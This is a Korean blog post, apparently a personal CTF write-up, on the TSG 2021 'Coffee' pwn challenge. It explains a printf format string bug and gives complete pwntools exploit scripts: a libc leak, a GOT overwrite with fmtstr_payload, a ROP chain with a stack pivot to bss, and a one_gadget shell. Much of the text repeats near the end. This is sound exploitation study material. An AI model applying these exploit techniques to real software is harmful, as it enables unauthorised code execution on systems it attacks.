libc_base까지 구하고 printf를 한번만 써서 이 printf한번에 모든것을 해결해야한다.
puts_got를 main으로 덮던지 해서 다시 main을 실행시키고 다른 함수의(scanf) got를 덮으면 되는 문제였지만 그 이후 어떻게 할지 몰랐다
우선 여기까지는 내가 풀었던 Payload + 결과
libc_base주소는 구했음..ㅠㅠ
from pwn import * #p = remote('34.146.101.4', 30002) p = process('./coffee') e = ELF('./coffee') libc = ELF('./libc.so.6') payload = "%29$p"+"AA" one_gadget=[0xe6c7e, 0xe6c81, 0xe6c84] p.sendline(payload) libc_start_main = int(p.recvuntil('A')[:-1], 16) libc_base = libc_start_main - libc.symbols['__libc_start_main']-243 one = libc_base + one_gadget[0] print('libc_start_main: '+hex(libc_start_main)) print('libc_base: ' + hex(libc_base)) print('one_gadget: ' + hex(one)) p.interactive()
#include <stdio.h> int x = 0xc0ffee; int main(void) { char buf[160]; scanf("%159s", buf); if (x == 0xc0ffee) { printf(buf); // fsb x = 0; } puts("bye"); }
1. 159만큼 입력
2. 전역 변수 x가 0xc0ffee라면 입력한 값 print
3. if 문 안의 printf(buf)에서 fsb 버그 발생
fmtstr을 이용하여 puts의 got를 0xdeadbeef으로 변경하고 "A"*100을 payload로 보내봄
writes = {e.got['puts']: 0xdeadbeef} payload = fmtstr_payload(6, writes, write_size="short") payload += b"A"*100
gef➤ x/30gx $rsp 0x7ffc14e655c8: 0x0000000000401206 0x2563393738383425 <= rsp 0x7ffc14e655d8: 0x38256e6c6c243031 0x2431312563363231 0x7ffc14e655e8: 0x6162616161616e68 0x0000000000404018 0x7ffc14e655f8: 0x000000000040401a 0x4141414141414141 <= rsp+56 0x7ffc14e65608: 0x4141414141414141 0x4141414141414141 0x7ffc14e65618: 0x4141414141414141 0x4141414141414141 0x7ffc14e65628: 0x4141414141414141 0x4141414141414141 0x7ffc14e65638: 0x4141414141414141 0x4141414141414141 0x7ffc14e65648: 0x4141414141414141 0x4141414141414141 0x7ffc14e65658: 0x4141414141414141 0x0000000041414141 0x7ffc14e65668: 0x00000000004010b0 0x00007ffc14e65770 0x7ffc14e65678: 0x5e14c86f2e4eb900 0x0000000000000000 0x7ffc14e65688: 0x00007fb085f6c0b3 0x0000000100000001 0x7ffc14e65698: 0x00007ffc14e65778 0x000000018612d618 0x7ffc14e656a8: 0x0000000000401196 0x0000000000401230 gef➤ got GOT protection: Partial RelRO | GOT functions: 4 [0x404018] puts@GLIBC_2.2.5 → 0xdeadbeef [0x404020] __stack_chk_fail@GLIBC_2.4 → 0x401040 [0x404028] printf@GLIBC_2.2.5 → 0x7fb085fa9e10 [0x404030] __isoc99_scanf@GLIBC_2.7 → 0x7fb085fab230 gef➤ x/gx 0x40401a 0x40401a <puts@got.plt+2>: 0x104000000000dead
puts_got가 0xdead으로 변경 -> puts_got를 main이나 원하는 주소로 변경하여 다시 돌려야함
공격방법
libc가 주어졌으니 one_gadget으로 한방에 따거나 아니면 rop를 이용하는 방법
write-up을 보면 ROP Chain을 이용한다.
# scanf("%159s", 0x404880) payload += p64(POPRDI) payload += p64(0x403004) <= %s payload += p64(POPRSI15) payload += p64(0x404880) <= bss payload += p64(0x0) payload += p64(e.plt["__isoc99_scanf"])
write-up을 보면 저기서 왜 0x403004를 쓰는지 몰랐다. 왜냐하면 바이너리를 분석하면 0x403004도 %159s이고, 0x402004도 %159s이기 때문. scanf("%s") = %s : char* 타입 문자열
하지만 0x402004를 쓰려고 해봤지만 scanf이 호출되지 않았다. 그 이유를 write-up 쓴분에게 물어봤더니 0x20 = space인데 이 부분때문에 안된다고 하였음.
또한 처음에 puts_got를 덮을때 0x401286주소를 사용
이 주소는 __libc_csu_init 안의 가젯의 주소
writes = {e.got['puts']: 0x401286} payload = fmtstr_payload(6, writes, write_size="short")
0000000000401286 add rsp, 8 000000000040128A pop rbx 000000000040128B pop rbp 000000000040128C pop r12 000000000040128E pop r13 0000000000401290 pop r14 0000000000401292 pop r15
그래서 writeup의 과정을 보면
1.puts_got를 __libc_csu_init 안의 가젯으로 덮는다
2. puts를 이용하여 printf의 got 출력
3. scanf를 이용하여 원하는 주소에 입력을 받는다(bss)
4. stack pivot을 이용하여 bss영역으로 rsp를 옮긴다
5. /bin/sh와 system을 bss에 입력하여 실행
하지만 libc가 주어졌기 때문에 나는 one_gadget을 이용함
-----------------------------------------------------------------------------------------------------------------------------------
from pwn import * p = process("./coffee", env={"LD_PRELOAD": "./libc.so.6"}) e = ELF('./coffee') libc = ELF('./libc.so.6') context.arch="amd64" # 이부분을 안하면 scanf로 넘어가지 않음 print(util.proc.pidof(p)) pause() writes = {e.got['puts']: 0x401286} payload = fmtstr_payload(6, writes, write_size="short") # %6$p = buf POPRDI = 0x401293 POPRBP = 0x40117d POPRSI15 = 0x401291 PUTSPLT = 0x401030 RET = 0x40101a LEAVE = 0x000000000040121f one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84] #padding payload += p64(0xdeadbeef) #puts(printf_got) # 이부분에서 puts_plt를 안쓰는 이유는 위에서 puts_got를 이미 0x401286으로 덮었기 때문에 # puts_plt -> puts_got -> 0x401286 # 그렇기 때문에 0x401030을 쓴다 payload += p64(POPRDI) payload += p64(e.got['printf']) payload += p64(0x401030) # puts_got -> 0x401286, [0x404018] puts@GLIBC_2.2.5->0 x401030 #scanf("%159s", 0x404078) payload += p64(POPRDI) payload += p64(0x403004) # %159s, 0x402004 = "%159s" but 0x20 = space payload += p64(POPRSI15) payload += p64(e.bss()+0x20) payload += p64(0) payload += p64(e.plt['__isoc99_scanf']) #stack pivot payload += p64(POPRBP) payload += p64(e.bss()+0x20-8) payload += p64(LEAVE) p.sendline(payload) p.recvuntil(p32(0x40401800)) LEAK = p.recvline() PRINTF = u64(LEAK[:-1].ljust(8, b"\x00")) libc.address = PRINTF - libc.symbols["printf"] log.info("PRINTF : %s" % hex(PRINTF)) log.info("LIBC : %s" % hex(libc.address)) p.sendline(p64(libc.address+one_gadget[1])) p.interactive()
p.recvuntil(p32(0x40401800))인 이유
python ~~.py DEBUG 하면 디버깅 보여줌
https://kileak.github.io/ctf/2021/tsg-coffee/
TSG 2021 - Coffee
libc_base까지 구하고 printf를 한번만 써서 이 printf한번에 모든것을 해결해야한다.
puts_got를 main으로 덮던지 해서 다시 main을 실행시키고 다른 함수의(scanf) got를 덮으면 되는 문제였지만 그 이후 어떻게 할지 몰랐다
우선 여기까지는 내가 풀었던 Payload + 결과
분석
1. 159만큼 입력
2. 전역 변수 x가 0xc0ffee라면 입력한 값 print
3. if 문 안의 printf(buf)에서 fsb 버그 발생
fmtstr을 이용하여 puts의 got를 0xdeadbeef으로 변경하고 "A"*100을 payload로 보내봄
puts_got가 0xdead으로 변경 -> puts_got를 main이나 원하는 주소로 변경하여 다시 돌려야함
공격방법
libc가 주어졌으니 one_gadget으로 한방에 따거나 아니면 rop를 이용하는 방법
write-up을 보면 ROP Chain을 이용한다.
write-up을 보면 저기서 왜 0x403004를 쓰는지 몰랐다. 왜냐하면 바이너리를 분석하면 0x403004도 %159s이고, 0x402004도 %159s이기 때문. scanf("%s") = %s : char* 타입 문자열
하지만 0x402004를 쓰려고 해봤지만 scanf이 호출되지 않았다. 그 이유를 write-up 쓴분에게 물어봤더니 0x20 = space인데 이 부분때문에 안된다고 하였음.
또한 처음에 puts_got를 덮을때 0x401286주소를 사용
이 주소는 __libc_csu_init 안의 가젯의 주소
그래서 writeup의 과정을 보면
1.puts_got를 __libc_csu_init 안의 가젯으로 덮는다
2. puts를 이용하여 printf의 got 출력
3. scanf를 이용하여 원하는 주소에 입력을 받는다(bss)
4. stack pivot을 이용하여 bss영역으로 rsp를 옮긴다
5. /bin/sh와 system을 bss에 입력하여 실행
하지만 libc가 주어졌기 때문에 나는 one_gadget을 이용함
-----------------------------------------------------------------------------------------------------------------------------------
python ~~.py DEBUG 하면 디버깅 보여줌
Reference
https://kileak.github.io/ctf/2021/tsg-coffee/
'CTF 풀지못한 문제 - pwn' 카테고리의 다른 글